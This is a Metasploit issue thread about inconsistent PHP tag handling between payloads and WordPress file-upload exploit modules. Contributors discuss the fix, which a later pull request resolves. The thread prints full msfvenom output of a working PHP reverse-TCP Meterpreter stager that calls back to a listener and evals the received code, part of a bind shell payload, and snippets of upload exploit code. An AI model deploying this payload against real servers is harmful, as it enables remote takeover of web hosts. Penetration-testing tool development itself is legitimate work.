Inconsistent handling of php tags (<? / ?>) in php exploit / payloads

[Te-k]

Steps to reproduce

How'd you do it?

1. Use the wp_wysija_newsletters_upload exploit
2. With the payload php/meterpreter/reverse_tcp the exploit works (on a lab vulnerable wordpress)
3. With the payload php/bind_php, the exploit fails because there is no php tag on the uploaded file (<?php and ?>), so the web server does not execute the php code

   Expected behavior

There should be the php tags automatically added to the payload by exploits that need it (like wordpress upload exploits).

Current behavior

Apparently there is inconsistent handling of php tags between payloads and exploits :

• Payloads : php/bind_php does not add the tags while php/meterpreter/reverse_tcp does it (with a /**/ trick so that it would not be considered if the tag is already added before) :

~/tools/pentest/metasploit-framework $ ./msfvenom -p php/meterpreter/reverse_tcp
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 948 bytes
/*<?php /**/ error_reporting(0); $ip = '192.168.1.73'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();

~/tools/pentest/metasploit-framework $ ./msfvenom -p php/bind_php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 2454 bytes

      @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
      $MxQAaw=@ini_get('disable_functions');
      if(!empty($MxQAaw)){
        $MxQAaw=preg_replace('/[, ]+/', ',', $MxQAaw);
        $MxQAaw=explode(',', $MxQAaw);
        $MxQAaw=array_map('trim', $MxQAaw);
      }else{
        $MxQAaw=array();
      }
[snip]
      @socket_write($msgsock,$o,strlen($o));
    }
    @socket_close($msgsock);

• Exploits does not handle consistently these tags : In modules/exploits/unix/webapp/xoda_file_upload :

    post_data << "<?php "
    post_data << payload.encoded
    post_data << " ?>\r\n"

While in modules/exploits/unix/webapp/ wp_wysija_newsletters_upload.rb payload.encoded is used directly :

    content = {
      ::File.join(theme_name, 'style.css') => '',
      ::File.join(theme_name, payload_name) => payload.encoded
    }

manually adding the php tags to all upload exploit would fix this problem as the meterpreter uses the comment trick to avoid problem is the tag is added twice, but it would be better to have an option when getting the payload to add it (or not). Any idea on how to do this properly?

System stuff

Metasploit version

Installed through source : 718f36f1af66959353adff5c2e76488a9ebe551f Land #6955, DarkComet C2 Arbitrary File Download

OS

Tested on Linux Mint recently updated, ruby 2.3.0

[Te-k]

After discussing on IRC, removing the tags from the meterpreter payload and adding them to all exploits seem to be the right way. What do you think msf gurus? Do you see any impact on removing these tags from php meterpreter? Is it used somewhere outside the webapp exploits?

[OJ]

Pardon me for not being privy to the IRC chat, and hence I might end up revisiting things already discussed.

Does it not make more sense to have the payload handle all cases itself? We do have the means to make the payloads work correctly in each environment it happens to run in, and that means that the calling exploits shouldn't have to care about it at all unless there's an exploit-specific quirk to cater for.

If you remove the tags from the payloads, what happens when you use msfvenom to generate raw PHP payloads? Is the intent in that case for the user to manually add the tags themselves?

[OJ]

I still think the better way is to fix the payload itself, rather than having to fix individual exploits, adjust msfvenom, and confuse people with new payload types.

Please take a look at this small changeset, which just adds the tag + escape code to the PHP payload. I think this is all that's going to be needed.

[Te-k]

Indeed @OJ, your solutions fixes the problem (tested with the exploit mentioned in the bug). Up to you to choose the best fix :)

[thelightcosine]

Issue resolved by https://github.com/rapid7/metasploit-framework/pull/7469